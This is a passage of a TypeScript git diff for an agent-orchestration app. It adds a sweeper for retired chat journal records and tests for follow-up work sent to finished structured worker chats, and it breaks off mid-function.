AcpLaunchSpec } from '../acp/acp-launch-specs' import { acpStructuredAgentDefinition } from '../acp/acp-structured-agent-definitions' @@ -151,7 +151,7 @@ function createAcpAdapter( ): StructuredAgentRuntimeRegistration['createAdapter'] { return (context) => { const { deps, followUps } = context - const readJournal = (sessionId: string) => replayJournal(context.journalDatabase.db, sessionId) + const readJournal = (sessionId: string) => restoreJournal(context.journalDatabase.db, sessionId) const definition = acpStructuredAgentDefinition(spec) const sources = structuredAgentLaunchSources(context) const part = acpStructuredLaunchPart(spec, { diff --git a/src/main/runtime/structured-agent-session-attachment-wiring.test.ts b/src/main/runtime/structured-agent-session-attachment-wiring.test.ts index 83b4eb2f2d3..0a43ac64fca 100644 --- a/src/main/runtime/structured-agent-session-attachment-wiring.test.ts +++ b/src/main/runtime/structured-agent-session-attachment-wiring.test.ts @@ -6,8 +6,12 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { getAgentSessionAttachmentStore } from '../native-chat/agent-session-attachments/agent-session-attachment-store-registry' import { agentSessionAttachmentStoreRoot } from '../native-chat/agent-session-attachments/agent-session-attachment-references' import { createStructuredAgentSessionLogger } from '../native-chat/agent-session-wire/structured-agent-session-logger' +import * as attachmentSweeps from '../native-chat/agent-session-attachments/agent-session-attachment-sweep' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase +} from '../native-chat/agent-session-journal/journal-host-database-test-support' import type Database from '../sqlite/sync-database' -import type { JournalHostDatabase } from '../native-chat/agent-session-journal/journal-host-database' import type { AgentSessionRecordStore } from './agent-session-record-store' import { installAgentSessionAttachments, @@ -22,19 +26,26 @@ beforeEach(async () => { afterEach(async () => { stopAgentSessionAttachments() + vi.useRealTimers() + vi.restoreAllMocks() + await closeTestJournalHostDatabases() await rm(stateDirectory, { recursive: true, force: true }) }) +const records: Pick = { + getRecord: () => null, + isSessionUnreadable: () => false +} + function install(directory = stateDirectory): void { - const records: Pick = { - getRecord: () => null, - isSessionUnreadable: () => false - } - // Written by a newer Orca: the sweep reads no claims, so nothing here touches the connection. - const journal: Pick = { + // Written by a newer Orca: the sweeps read no claims, so nothing here touches the connection. + const journal: Parameters[0]['journalDatabase'] = { writeAutocommit: () => { throw new Error('not opened in this test') }, + transaction: () => { + throw new Error('not opened in this test') + }, readOnly: true, isClosed: false, get db(): Database.Database { @@ -67,4 +78,41 @@ describe('installAgentSessionAttachments', () => { expect(getAgentSessionAttachmentStore()?.rootDir).toBe(agentSessionAttachmentStoreRoot(blocked)) warn.mockRestore() }) + + it("starts the chat database's sweep of retired records and stops it with the attachments", async () => { + vi.useFakeTimers() + vi.spyOn(attachmentSweeps, 'startAgentSessionAttachmentSweeps').mockReturnValue({ + stop: () => undefined + }) + const database = openTestJournalHostDatabase(stateDirectory) + const retire = () => + database.transaction((db) => { + const generation = db + .prepare('INSERT INTO journal_outcome_generations (session_id, epoch) VALUES (?, ?)') + .run('gone', 'gone-epoch').lastInsertRowid + db.prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, 1, 'aliases', '"k"', 1, 's0000000000000001:0000000000000000', '["k","v"]', 0)`).run( + generation + ) + }) + const retired = () => + database.db.prepare('SELECT COUNT(*) AS n FROM journal_outcome_generations').get()?.n + retire() + installAgentSessionAttachments({ + stateDirectory, + store: records, + journalDatabase: database, + logger: createStructuredAgentSessionLogger() + }) + await vi.advanceTimersByTimeAsync(59_999) + expect(retired()).toBe(1) + // The first pass a minute after launch: the records page, a rest, then the generation row. + await vi.advanceTimersByTimeAsync(1_000) + expect(retired()).toBe(0) + retire() + stopAgentSessionAttachments() + await vi.advanceTimersByTimeAsync(12 * 60 * 60_000) + expect(retired()).toBe(1) + }) }) diff --git a/src/main/runtime/structured-agent-session-attachment-wiring.ts b/src/main/runtime/structured-agent-session-attachment-wiring.ts index 81a9aa96473..44f687e222d 100644 --- a/src/main/runtime/structured-agent-session-attachment-wiring.ts +++ b/src/main/runtime/structured-agent-session-attachment-wiring.ts @@ -1,5 +1,6 @@ // Keep chat attachment storage/sweeps beside the journal; its database owns upload claims the sweeps honor. +import { JournalOutcomeSweeper } from '../native-chat/agent-session-journal/journal-outcome-cleanup' import { mkdirSync } from 'node:fs' import { AgentSessionAttachmentStore } from '../native-chat/agent-session-attachments/agent-session-attachment-store' import { @@ -19,14 +20,26 @@ const FIRST_SWEEP_DELAY_MS = 60 * 1000 const SWEEP_INTERVAL_MS = 6 * 60 * 60 * 1000 let sweeper: AgentSessionAttachmentSweeper | null = null +let journalSweeper: JournalOutcomeSweeper | null = null export function installAgentSessionAttachments(deps: { stateDirectory: string store: Pick - journalDatabase: Pick + journalDatabase: Pick< + JournalHostDatabase, + 'readOnly' | 'isClosed' | 'db' | 'writeAutocommit' | 'transaction' + > logger: StructuredAgentSessionLogger }): void { stopAgentSessionAttachments() + journalSweeper = new JournalOutcomeSweeper({ + database: () => deps.journalDatabase, + onError: (error) => + deps.logger.warn('retired chat records could not be deleted', { + scope: 'journal-outcome-sweep', + error + }) + }).start() const root = agentSessionAttachmentStoreRoot(deps.stateDirectory) // Before any Claude starts: Claude drops an added directory that does not exist yet, for good. try { @@ -69,6 +82,8 @@ export function installAgentSessionAttachments(deps: { } export function stopAgentSessionAttachments(): void { + journalSweeper?.stop() + journalSweeper = null sweeper?.stop() sweeper = null setAgentSessionAttachmentStore(null) diff --git a/src/main/runtime/structured-agent-session-codex-interrupt-order.test.ts b/src/main/runtime/structured-agent-session-codex-interrupt-order.test.ts index 5009cf0d909..6fd3dbded9d 100644 --- a/src/main/runtime/structured-agent-session-codex-interrupt-order.test.ts +++ b/src/main/runtime/structured-agent-session-codex-interrupt-order.test.ts @@ -24,10 +24,10 @@ import { import type { StructuredAgentSessionHost } from '../native-chat/agent-session-wire/structured-agent-session-host' import { closeTestJournalHostDatabases, - liveTestJournalRows, + readTestJournalOutcomes, openTestJournalHostDatabase } from '../native-chat/agent-session-journal/journal-host-database-test-support' -import { parseJournalRow } from '../native-chat/agent-session-journal/journal-row-schema' +import { fields } from '../native-chat/agent-session-journal/journal-state-schema' import { createStructuredAgentSessionLogger } from '../native-chat/agent-session-wire/structured-agent-session-logger' import { ensureStructuredAgentSessionHost, @@ -98,21 +98,14 @@ async function stop(turnId?: string): Promise { /** Every end row written for turn-1, as a row or a lifecycle batch's mutation, in order. */ function turnEndRows(): AgentJournalTurnItem[] { - return liveTestJournalRows(openTestJournalHostDatabase(root).db, SESSION).flatMap((stored) => { - const parsed = parseJournalRow(stored.rowJson) - if (!parsed.ok) { + return readTestJournalOutcomes(openTestJournalHostDatabase(root).db, SESSION).flatMap((value) => { + if (value.field !== 'items' || value.deleted) { return [] } - const { row } = parsed - const bodies = row.kind === 'lifecycle-batch' ? row.mutations : [row] - return bodies.flatMap((entry) => - entry.kind === 'item' && - entry.body.kind === 'turn' && - entry.body.turnId === 'turn-1' && - entry.body.state !== 'running' - ? [entry.body] - : [] - ) + const { body } = fields.items.element.parse(JSON.parse(value.json)) + return body.kind === 'turn' && body.turnId === 'turn-1' && body.state !== 'running' + ? [body] + : [] }) } diff --git a/src/main/runtime/structured-agent-session-codex-settlement-order.test.ts b/src/main/runtime/structured-agent-session-codex-settlement-order.test.ts index acfa3a122d6..1c969f14a64 100644 --- a/src/main/runtime/structured-agent-session-codex-settlement-order.test.ts +++ b/src/main/runtime/structured-agent-session-codex-settlement-order.test.ts @@ -13,7 +13,8 @@ import { codexTurnLifecycleFake } from '../codex/codex-turn-lifecycle-fake' import { computeAgentSessionPayloadFingerprint } from '../../shared/agent-session-mutation-envelope' import type { AgentJournalDispatchState, - AgentJournalTurnItem + AgentJournalTurnItem, + AgentJournalItemBody } from '../../shared/agent-session-journal-types' import { HOST_TEST_SESSION as SESSION, @@ -24,14 +25,10 @@ import { import type { StructuredAgentSessionHost } from '../native-chat/agent-session-wire/structured-agent-session-host' import { closeTestJournalHostDatabases, - liveTestJournalRows, + readTestJournalOutcomes, openTestJournalHostDatabase } from '../native-chat/agent-session-journal/journal-host-database-test-support' -import { - parseJournalRow, - type JournalLifecycleMutation, - type JournalRow -} from '../native-chat/agent-session-journal/journal-row-schema' +import { fields } from '../native-chat/agent-session-journal/journal-state-schema' import { createStructuredAgentSessionLogger } from '../native-chat/agent-session-wire/structured-agent-session-logger' import { ensureStructuredAgentSessionHost, @@ -83,20 +80,27 @@ async function send(text: string): Promise { } /** A stored row, or one mutation of a lifecycle batch: what a settlement or a frame lands as. */ -type JournalEntry = JournalRow | JournalLifecycleMutation +type JournalEntry = + | { kind: 'item'; body: AgentJournalItemBody } + | { kind: 'dispatch'; clientMessageId: string; state: AgentJournalDispatchState } -/** The sequence of the first row that `matches`, or of the lifecycle batch carrying it. */ +/** Outcomes preserve the sequence at which a verdict or whole item committed. */ function seqOf(matches: (entry: JournalEntry) => boolean): number | undefined { - return liveTestJournalRows(openTestJournalHostDatabase(root).db, SESSION).find((stored) => { - const parsed = parseJournalRow(stored.rowJson) - if (!parsed.ok) { + return readTestJournalOutcomes(openTestJournalHostDatabase(root).db, SESSION).find((value) => { + if (value.deleted) { return false } - const { row } = parsed - return ( - matches(row) || - (row.kind === 'lifecycle-batch' && row.mutations.some((mutation) => matches(mutation))) - ) + if (value.field === 'items') { + return matches({ + kind: 'item', + body: fields.items.element.parse(JSON.parse(value.json)).body + }) + } + if (value.field === 'submissions') { + const [id, submission] = fields.submissions.element.parse(JSON.parse(value.json)) + return matches({ kind: 'dispatch', clientMessageId: id, state: submission.dispatchState }) + } + return false })?.seq } diff --git a/src/main/runtime/structured-agent-session-codex-turn-end-settlement.test.ts b/src/main/runtime/structured-agent-session-codex-turn-end-settlement.test.ts index 48fc0a08b19..c7f19271fa6 100644 --- a/src/main/runtime/structured-agent-session-codex-turn-end-settlement.test.ts +++ b/src/main/runtime/structured-agent-session-codex-turn-end-settlement.test.ts @@ -518,6 +518,8 @@ describe("a queued card's Send-now while a Codex turn runs", () => { expect(verdictOf((await settled()).submissions, sent)).toBe('accepted') ) expect((await settled()).owesWork).toBe(false) + // Delivered once: the turn's end neither steers it again nor starts a turn with it. + expect([steers, answers]).toEqual([1, 1]) }) it('is settled when a Stop ends that turn, on a Codex that names a steered start falsely', async () => { diff --git a/src/main/runtime/structured-agent-session-host-assembly.ts b/src/main/runtime/structured-agent-session-host-assembly.ts index 111aa78bb2f..3f7b392022e 100644 --- a/src/main/runtime/structured-agent-session-host-assembly.ts +++ b/src/main/runtime/structured-agent-session-host-assembly.ts @@ -88,8 +88,11 @@ export async function installOnJournal( ...(deps.hasOpenDispatch ? { hasOpenDispatch: deps.hasOpenDispatch } : {}), ...(deps.startupLimits ? { startupLimits: deps.startupLimits } : {}), ...(deps.onSessionTabHidden ? { onSessionTabHidden: deps.onSessionTabHidden } : {}), + ...(deps.launchAccountHome ? { launchAccountHome: deps.launchAccountHome } : {}), + ...(deps.parentAccountWork ? { parentAccountWork: deps.parentAccountWork } : {}), ...(deps.assertNoTerminalWriter ? { assertNoTerminalWriter: deps.assertNoTerminalWriter } : {}), ...(await modelCatalogHostDeps({ + host: () => host, store, agents, registrations: STRUCTURED_AGENT_RUNTIME_REGISTRATIONS, diff --git a/src/main/runtime/structured-agent-session-mobile-attention.test.ts b/src/main/runtime/structured-agent-session-mobile-attention.test.ts index 3a93bb7fdfb..25b45850a2a 100644 --- a/src/main/runtime/structured-agent-session-mobile-attention.test.ts +++ b/src/main/runtime/structured-agent-session-mobile-attention.test.ts @@ -1,20 +1,17 @@ import { describe, expect, it, vi } from 'vitest' -import { - agentSessionAttentionKey, - type AgentSessionAttentionEdge, - type StructuredAttentionState +import type { + AgentSessionAttentionEdge, + StructuredAttentionState } from '../../shared/agent-session-attention' + import type { AgentSessionStatusSummary } from '../../shared/agent-session-wire' import type { NotificationSettings } from '../../shared/notification-settings-types' -import { - structuredAgentSessionPaneKey, - structuredAgentSessionTabId -} from '../../shared/structured-agent-session-projection' + import { createStructuredAttentionMobileDelivery, - readStructuredAttentionWorkspaceLabels, type StructuredAttentionMobileDeliveryDeps } from './structured-agent-session-mobile-attention' + import type { MobileNotificationDispatchEvent } from './runtime-mobile-notification-controller' const SCOPE = { @@ -87,41 +84,6 @@ function harness(overrides: Partial = {}) } describe('structured attention mobile delivery', () => { - it('pushes a raised prompt at once as "needs input", keyed by the prompt', () => { - const h = harness() - h.delivery.deliver(PROMPT, SUMMARY) - const key = agentSessionAttentionKey(PROMPT) - expect(h.sent).toEqual([ - { - type: 'notification', - emittedAt: 42, - source: 'agent-task-complete', - title: 'orca / feature - Claude needs input', - body: 'May I run the migration?', - worktreeId: SCOPE.workspaceId, - paneKey: structuredAgentSessionPaneKey( - structuredAgentSessionTabId('session-1'), - 'session-1' - ), - notificationId: key, - attentionKey: key, - agentState: 'blocked' - } - ]) - }) - - it('words a settled turn by its outcome, and a failure as a failure even while a prompt waits', () => { - const h = harness() - h.delivery.deliver(completion('success'), SUMMARY) - h.delivery.deliver(completion('success', true), SUMMARY) - h.delivery.deliver(completion('failure', true), SUMMARY) - expect(h.sent.map((event) => [event.agentState, event.title])).toEqual([ - ['done', 'orca / feature - Claude finished'], - ['blocked', 'orca / feature - Claude needs input'], - ['done', 'orca / feature - Claude failed'] - ]) - }) - it('sends nothing for a workspace whose notifications are muted', () => { const isWorkspaceMuted = vi.fn(() => true) const quiet = harness({ isWorkspaceMuted }) @@ -160,49 +122,4 @@ describe('structured attention mobile delivery', () => { h.delivery.deliver(edge, SUMMARY) expect(h.sent).toEqual([]) }) - - it('forwards current prompt state for reconciliation', () => { - const h = harness() - const state = { scope: SCOPE, sessionId: 'session-1', pendingPromptIds: ['a', 'b'] } - h.delivery.reconcile(state) - expect(h.reconciled).toEqual([state]) - }) -}) - -describe('readStructuredAttentionWorkspaceLabels', () => { - const store = { - getRepo: vi.fn((id: string) => (id === 'repo-1' ? { displayName: 'orca' } : undefined)), - getWorktreeMeta: vi.fn((id: string) => - id === SCOPE.workspaceId ? { displayName: 'feature' } : undefined - ), - getFolderWorkspaces: vi.fn(() => [{ id: 'folder-1', name: 'Notes' }]) - } - - it('reads a worktree and its repo from persisted metadata', () => { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: only the read fields are stubbed. - const labels = readStructuredAttentionWorkspaceLabels(store as never, SCOPE) - expect(labels).toEqual({ repoLabel: 'orca', worktreeLabel: 'feature' }) - }) - - it('reads a folder workspace from the folder key a chat scope carries', () => { - const labels = readStructuredAttentionWorkspaceLabels( - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: only the read fields are stubbed. - store as never, - { ...SCOPE, workspaceId: 'folder:folder-1', workspaceKind: 'folder' } - ) - expect(labels).toEqual({ worktreeLabel: 'Notes' }) - }) -}) - -it('preserves the missing notification settings failure before dispatch', () => { - let reads = 0 - const h = harness({ - readNotificationSettings() { - reads += 1 - return undefined - } - }) - expect(() => h.delivery.deliver(PROMPT, SUMMARY)).toThrow(TypeError) - expect(reads).toBe(1) - expect(h.sent).toEqual([]) }) diff --git a/src/main/runtime/structured-agent-session-runtime-contract.ts b/src/main/runtime/structured-agent-session-runtime-contract.ts index 33b89dcce80..29a3e1b5f97 100644 --- a/src/main/runtime/structured-agent-session-runtime-contract.ts +++ b/src/main/runtime/structured-agent-session-runtime-contract.ts @@ -82,4 +82,7 @@ export type StructuredAgentSessionRuntimeDeps = StructuredAgentSessionTransportO /** The account home a structured launch would pin right now, for catalog * reads with no session record. Absent disables the catalog surface. */ resolveAgentAccountHome?: RuntimeAgentAccountHomeResolver + /** See `StructuredAgentSessionHostDeps.launchAccountHome`. */ + launchAccountHome?: StructuredAgentSessionHostDeps['launchAccountHome'] + parentAccountWork?: StructuredAgentSessionHostDeps['parentAccountWork'] } & Pick diff --git a/src/main/runtime/structured-agent-session-runtime-model-catalog-lifetime.test.ts b/src/main/runtime/structured-agent-session-runtime-model-catalog-lifetime.test.ts index f49554ca113..707c1c411f1 100644 --- a/src/main/runtime/structured-agent-session-runtime-model-catalog-lifetime.test.ts +++ b/src/main/runtime/structured-agent-session-runtime-model-catalog-lifetime.test.ts @@ -1,3 +1,4 @@ +import { hostTestCatalogReadOperation } from '../native-chat/agent-session-wire/structured-agent-session-host-test-data' import { mkdtemp, rm } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' @@ -59,6 +60,7 @@ afterEach(async () => { describe('the host catalog lifetime', () => { it('prewarms once the host is installed and stops its listings at teardown', async () => { const service = { + captureRead: hostTestCatalogReadOperation, snapshot: vi.fn(() => ({ origin: 'unknown' as const })), demand: vi.fn(async () => {}), prepareSaved: vi.fn(async () => ({ origin: 'unknown' as const })), diff --git a/src/main/runtime/structured-chat-dispatch-worker-lifecycle.test.ts b/src/main/runtime/structured-chat-dispatch-worker-lifecycle.test.ts index 88e40db7e8d..05955c8c88b 100644 --- a/src/main/runtime/structured-chat-dispatch-worker-lifecycle.test.ts +++ b/src/main/runtime/structured-chat-dispatch-worker-lifecycle.test.ts @@ -1,10 +1,18 @@ import './rpc/unused-default-rpc-methods.test-fixture' +import { execFile } from 'node:child_process' +import { createRequire } from 'node:module' +import { join } from 'node:path' +import { pathToFileURL } from 'node:url' +import { promisify } from 'node:util' import { describe, expect, it, vi } from 'vitest' import { formatOrcaSessionAddress } from '../../shared/orca-session-address' import { testOrcaSessionId } from '../../shared/orca-session-address-test-fixture' import { idOf } from './rpc/orchestration-session-caller-test-fixture' import { closeStructuredAgentSessionChild } from './agent-session/structured-agent-session-close' +import { restoreJournal } from '../native-chat/agent-session-journal/journal-open' +import { OrcaRuntimeRpcServer } from './runtime-rpc' +import { ORCHESTRATION_METHODS } from './rpc/methods/orchestration' import type { FakeConnection } from './structured-chat-coordinator-fake-codex-fixture' import { COORDINATOR, @@ -13,17 +21,79 @@ import { call, clearChat, coordinatorRunAndTask, + codex, db, dispatcher, host, openChat, request, + root, + runtime, sendUserMessage, settleTurn, startClearedContext } from './structured-chat-coordinator-mail-rig.test-fixture' const WORKER = formatOrcaSessionAddress(testOrcaSessionId(PEER_CHAT)) +const cliPath = join(process.cwd(), 'src/cli/index.ts') +const tsxLoader = pathToFileURL(createRequire(import.meta.url).resolve('tsx')).href + +async function readWorkerThroughCli(dispatchId: string): Promise { + const env = { ...process.env } + for (const name of [ + 'HOME', + 'USERPROFILE', + 'APPDATA', + 'LOCALAPPDATA', + 'XDG_CONFIG_HOME', + 'XDG_CACHE_HOME', + 'XDG_DATA_HOME', + 'XDG_STATE_HOME', + 'XDG_RUNTIME_DIR', + 'CLAUDE_CONFIG_DIR', + 'CODEX_HOME', + 'ORCA_E2E_HOME_DIR', + 'ORCA_E2E_USER_DATA_DIR', + 'ORCA_USER_DATA_PATH' + ]) { + env[name] = root + } + for (const name of [ + 'ORCA_ENVIRONMENT', + 'ORCA_PAIRING_CODE', + 'ORCA_REMOTE_PAIRING', + 'ORCA_RUNTIME_SOURCE_ID', + 'ORCA_RUNTIME_SOURCE_INCARNATION', + 'ORCA_RUNTIME_SOURCE_PROFILE_PATH', + 'ORCA_TERMINAL_HANDLE', + 'ORCA_PANE_KEY', + 'ORCA_AGENT_LAUNCH_TOKEN', + 'ORCA_STRUCTURED_SESSION' + ]) { + env[name] = '' + } + env.ORCA_AGENT_SESSION_ID = COORDINATOR + env.ORCA_BACKGROUND_LAUNCH = '1' + env.ORCA_DISABLE_MACOS_LOGIN_SHELL = '1' + // execFile owns its child handle, bounds its lifetime, and awaits exit before server cleanup. + const { stdout } = await promisify(execFile)( + process.execPath, + [ + '--import', + tsxLoader, + '--conditions=orca-source', + cliPath, + 'orchestration', + 'worker-read', + '--dispatch', + dispatchId, + '--source', + 'transcript' + ], + { cwd: root, env, timeout: 15_000, windowsHide: true, encoding: 'utf8' } + ) + return stdout +} /** A Dispatch of the coordinator's task to the peer chat, both chats open. */ async function dispatchToChat(): Promise<{ @@ -226,9 +296,36 @@ describe("a chat assignee's liveness, stop and close", () => { await vi.waitFor(() => expect(worker.turns).toHaveLength(1), WAIT) await settleTurn(PEER_CHAT, 0) - const read = await call('orchestration.workerRead', { dispatch: dispatchId }) + const journal = host.collaboratorsForTests().sessions.get(PEER_CHAT)?.journal + if (!journal) { + throw new Error('Worker conversation was not opened') + } + const prefix = journal.cursor() + await host.close(PEER_CHAT, 'evict') + expect(host.hasSession(PEER_CHAT)).toBe(false) + const saved = restoreJournal(host.deps.journalDatabase.db, PEER_CHAT)?.state + expect(saved?.lastSequence).toBeGreaterThanOrEqual(prefix.sequence) + const acquisitions = codex.connections.length + const server = new OrcaRuntimeRpcServer({ + runtime, + userDataPath: root, + enableWebSocket: false, + methods: ORCHESTRATION_METHODS + }) + try { + await server.start() + const output = await readWorkerThroughCli(dispatchId) + expect(output).toContain('Source: transcript (provider=codex)') + expect(output).toContain('working on it') + expect(host.hasSession(PEER_CHAT)).toBe(true) + expect(codex.connections).toHaveLength(acquisitions) - expect(read).toMatchObject({ source: 'transcript', status: { liveness: 'live' } }) - expect(JSON.stringify(read.transcript)).toContain('working on it') + const read = await call('orchestration.workerRead', { dispatch: dispatchId }) + + expect(read).toMatchObject({ source: 'transcript', status: { liveness: 'live' } }) + expect(JSON.stringify(read.transcript)).toContain('working on it') + } finally { + await server.stop() + } }) }) diff --git a/src/main/runtime/structured-chat-worker-reuse.test.ts b/src/main/runtime/structured-chat-worker-reuse.test.ts index 0ce06f53ae8..4b632d0bdf3 100644 --- a/src/main/runtime/structured-chat-worker-reuse.test.ts +++ b/src/main/runtime/structured-chat-worker-reuse.test.ts @@ -1,5 +1,5 @@ import './rpc/unused-default-rpc-methods.test-fixture' -// A finished structured worker takes follow-up work in its own chat only through worker-start --terminal . +// A finished structured worker takes follow-up work in its own chat through worker-start --terminal , or a send to its Dispatch. import { beforeEach, describe, expect, it, vi } from 'vitest' import { ORCA_SESSION_ADDRESS_PREFIX } from '../../shared/orca-session-address' @@ -17,6 +17,7 @@ import { openChat, request, runtime, + sendUserMessage, settleTurn, turnText } from './structured-chat-coordinator-mail-rig.test-fixture' @@ -80,7 +81,10 @@ function reportDone(sessionId: string, taskId: string, dispatchId: string) { } /** A worker created as worker-start creates one, after its first Dispatch reported done. */ -async function finishedStructuredWorker(taskId: string, settle: 'done' | 'abandon' = 'done') { +async function finishedStructuredWorker( + taskId: string, + settle: 'done' | 'abandon' | 'none' = 'done' +) { const disposed = vi.fn() const observe = host.observeJournalPublications.bind(host) const observed = vi @@ -96,7 +100,7 @@ async function finishedStructuredWorker(taskId: string, settle: 'done' | 'abando creator: { kind: 'session', orcaSessionId: testOrcaSessionId(COORDINATOR) }, maxDepth: 9, taskId, - startOptions: {} + startOptions: { agent: 'codex' } }) const { identity } = await createStructuredWorkerSession({ runtime, @@ -123,7 +127,7 @@ async function finishedStructuredWorker(taskId: string, settle: 'done' | 'abando { dispatch: started.dispatch.id }, { sessionId: COORDINATOR } ) - } else { + } else if (settle === 'done') { expect(await reportDone(identity.sessionId, taskId, started.dispatch.id)).toMatchObject({ ok: true, result: { lifecycle: { action: 'completed' } } @@ -208,27 +212,30 @@ describe('a finished structured worker', () => { await vi.waitFor(() => expect(disposed).toHaveBeenCalledTimes(2), WAIT) }) - it('kept open by the user is refused, as a kept terminal is', async () => { + it('kept open by the user takes follow-up work and stays kept', async () => { await openChat(COORDINATOR) const { taskId } = await coordinatorRunAndTask() const { identity, firstDispatchId } = await finishedStructuredWorker(taskId) const worker = connectionFor(identity.sessionId) expect(db.keepWorkerTerminalOpen(identity.paneKey)).toBe(1) - const receipt = await call( + const followUp = await followUpTask() + const started = call( 'orchestration.workerStart', - { task: await followUpTask(), terminal: identity.handle }, + { task: followUp, terminal: identity.handle }, { sessionId: COORDINATOR } ) + await vi.waitFor(() => expect(worker.turns).toHaveLength(1), WAIT) + await settleTurn(identity.sessionId, 0) + const dispatchId = String((await started).dispatchId) + expect(await reportDone(identity.sessionId, followUp, dispatchId)).toMatchObject({ ok: true }) - expect(receipt).toMatchObject({ - state: 'failed', - lastError: expect.stringContaining('was kept open by the user') + expect(db.getWorkerTerminalResourceByOwner(dispatchId)).toMatchObject({ + prior_owner_dispatch_ids: JSON.stringify([firstDispatchId]), + release_state: 'retained', + retained_reason: 'user_kept', + auto_release_at: null }) - expect(worker.turns).toHaveLength(0) - expect(db.getWorkerTerminalResourceByOwner(firstDispatchId)?.terminal_handle).toBe( - identity.handle - ) }) it("is not handed a Dispatch that would leave it in the finished one's custody", async () => { @@ -255,12 +262,125 @@ describe('a finished structured worker', () => { } }) db.keepWorkerTerminalOpen(identity.paneKey) - expect(await dispatch()).toMatchObject({ ok: false, error: { code: 'terminal_kept_open' } }) + expect(await dispatch()).toMatchObject({ ok: false, error: { code: 'invalid_argument' } }) expect(worker.turns).toHaveLength(0) expect(db.getWorkerTerminalResourceByOwner(firstDispatchId)).toBeDefined() }) }) +function sendTo(dispatchId: string, body: string) { + return call( + 'orchestration.send', + { to: `dispatch:${dispatchId}`, subject: 'Follow-up', body }, + { sessionId: COORDINATOR } + ) +} + +describe('a send to a finished structured worker', () => { + it('becomes one follow-up on that worker; a racing send steers it', async () => { + await openChat(COORDINATOR) + const { taskId } = await coordinatorRunAndTask() + const { identity, firstDispatchId } = await finishedStructuredWorker(taskId) + const worker = connectionFor(identity.sessionId) + + const first = sendTo(firstDispatchId, 'and the docs') + const second = sendTo(firstDispatchId, 'also the changelog') + await vi.waitFor(() => expect(worker.turns).toHaveLength(1), WAIT) + await settleTurn(identity.sessionId, 0) + const [followUp, steered] = await Promise.all([first, second]) + + expect(followUp).toMatchObject({ + delivery: 'follow_up', + followUpOf: firstDispatchId, + effects: expect.arrayContaining([ + expect.objectContaining({ role: 'agent', id: identity.handle }) + ]), + state: 'ready' + }) + expect(turnText(worker.turns[0]!)).toContain('and the docs') + expect(steered).toMatchObject({ + message: { to_handle: `dispatch:${String(followUp.dispatchId)}` } + }) + expect(db.getDispatchContextById(String(followUp.dispatchId))).toMatchObject({ + follow_up_of_dispatch_id: firstDispatchId, + assignee_orca_session_id: identity.sessionId + }) + }) + + it('queued behind the turn the worker reported from is accepted, not unknown', async () => { + await openChat(COORDINATOR) + const { taskId } = await coordinatorRunAndTask() + const { identity, firstDispatchId } = await finishedStructuredWorker(taskId, 'none') + const worker = connectionFor(identity.sessionId) + expect(await sendUserMessage(identity.sessionId, 'go')).toMatchObject({ ok: true }) + await vi.waitFor(() => expect(worker.turns).toHaveLength(1), WAIT) + // The worker reports from inside that turn, which is still running. + worker.handlers.onNotification?.('turn/started', { turn: { id: 'turn-1' } }) + await host.flushStreamedEvents(identity.sessionId) + expect(await reportDone(identity.sessionId, taskId, firstDispatchId)).toMatchObject({ + ok: true + }) + + expect(await sendTo(firstDispatchId, 'and the docs')).toMatchObject({ + delivery: 'follow_up', + state: 'ready', + turnStart: 'queued' + }) + worker.handlers.onNotification?.('turn/completed', { turn: { id: 'turn-1' } }) + await host.flushStreamedEvents(identity.sessionId) + await vi.waitFor(() => expect(worker.turns.length).toBeGreaterThan(1), WAIT) + expect(worker.turns.map(turnText).join('\n')).toContain('and the docs') + }) + + it('after it was closed, reopens its chat in the same conversation', async () => { + await openChat(COORDINATOR) + const { taskId } = await coordinatorRunAndTask() + const { identity, firstDispatchId } = await finishedStructuredWorker(taskId) + // The rig has no settings store; reopening validates the worker's agent against it. + vi.spyOn(runtime, 'validateOrchestrationAgentLauncher').mockImplementation(() => {}) + await call( + 'orchestration.workerRelease', + { dispatch: firstDispatchId }, + { sessionId: COORDINATOR } + ) + expect(host.isSessionTabVisible(identity.sessionId)).toBe(false) + + const followUp = sendTo(firstDispatchId, 'and the docs') + await vi.waitFor(() => expect(connectionFor(identity.sessionId).turns).toHaveLength(1), WAIT) + await settleTurn(identity.sessionId, 0) + + expect(await followUp).toMatchObject({ delivery: 'reopened', state: 'ready' }) + expect(host.isSessionTabVisible(identity.sessionId)).toBe(true) + expect(db.getWorkerTerminalResourceByOwner(String((await followUp).dispatchId))).toMatchObject({ + terminal_handle: identity.handle, + ownership_state: 'owned' + }) + }) + + it('that it never read before reporting becomes its follow-up', async () => { + await openChat(COORDINATOR) + const { taskId } = await coordinatorRunAndTask() + const { identity, firstDispatchId } = await finishedStructuredWorker(taskId, 'none') + const worker = connectionFor(identity.sessionId) + await sendTo(firstDispatchId, 'and the docs') + // The mail pointer arrives; the worker reports without reading it. + await vi.waitFor(() => expect(worker.turns).toHaveLength(1), WAIT) + await settleTurn(identity.sessionId, 0) + + expect(await reportDone(identity.sessionId, taskId, firstDispatchId)).toMatchObject({ + ok: true + }) + await vi.waitFor(() => expect(worker.turns).toHaveLength(2), WAIT) + await settleTurn(identity.sessionId, 1) + + expect(turnText(worker.turns[1]!)).toContain('and the docs') + await vi.waitFor( + () => expect(db.getUnreadMessages(`dispatch:${firstDispatchId}`)).toHaveLength(0), + WAIT + ) + }) +}) + describe('a finished terminal worker', () => { it('is not handed a Dispatch while its finished Dispatch still holds the terminal', async () => { await openChat(COORDINATOR) diff --git a/src/main/runtime/structured-native-work-readers.ts b/src/main/runtime/structured-native-work-readers.ts new file mode 100644 index 00000000000..2a586328814 --- /dev/null +++ b/src/main/runtime/structured-native-work-readers.ts @@ -0,0 +1,16 @@ +import type { StructuredAgentSessionHostDeps } from '../native-chat/agent-session-wire/structured-agent-session-host-types' +import type { OrchestrationDb } from './orchestration/db' +import { structuredParentAccountWork } from './orchestration/structured-parent-account-work' +import { structuredWorkerOwesWork } from './structured-worker-custody' + +/** Both are re-read; assigned process custody remains separate from receiving-account ownership. */ +export function structuredNativeWorkReaders( + read: () => OrchestrationDb | null, + readReceiving: () => OrchestrationDb | null = read +): Pick { + return { + hasOpenDispatch: (record) => structuredWorkerOwesWork(read(), record), + parentAccountWork: 